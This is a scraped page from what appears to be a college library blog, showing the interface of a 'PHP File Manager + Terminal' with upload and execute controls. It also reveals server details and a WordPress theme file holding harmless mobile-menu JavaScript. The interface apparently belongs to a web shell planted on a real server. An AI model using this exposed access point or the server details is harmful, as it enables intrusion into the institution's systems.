Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/www/html/library/wp-content/themes/mobius/lib Upload Create File Create Folder Execute Editing: /var/www/html/library/wp-content/themes/mobius/lib/init_mobilemenu.php<script type="text/javascript"> jQuery(document).ready(function($) { // Create the dropdown base jQuery("<select />").appendTo("#nav"); // Create default option "Go to..." jQuery("<option />", { "selected": "selected", "value" : "", "text" : "<?php echo of_get_option('menu_text');?>" }).appendTo("#nav select"); // Populate dropdown with menu items jQuery("#nav a").each(function() { var el = $(this); var padding = ""; for (var i = 0; i < el.parentsUntil('div > ul').length - 1; i++) padding += "-"; jQuery("<option />", { "value" : el.attr("href"), "text" : padding + el.text() }) .appendTo("#nav select"); }); jQuery("#nav select").change(function() { window.location = $(this).find("option:selected").val(); }); }); </script>Save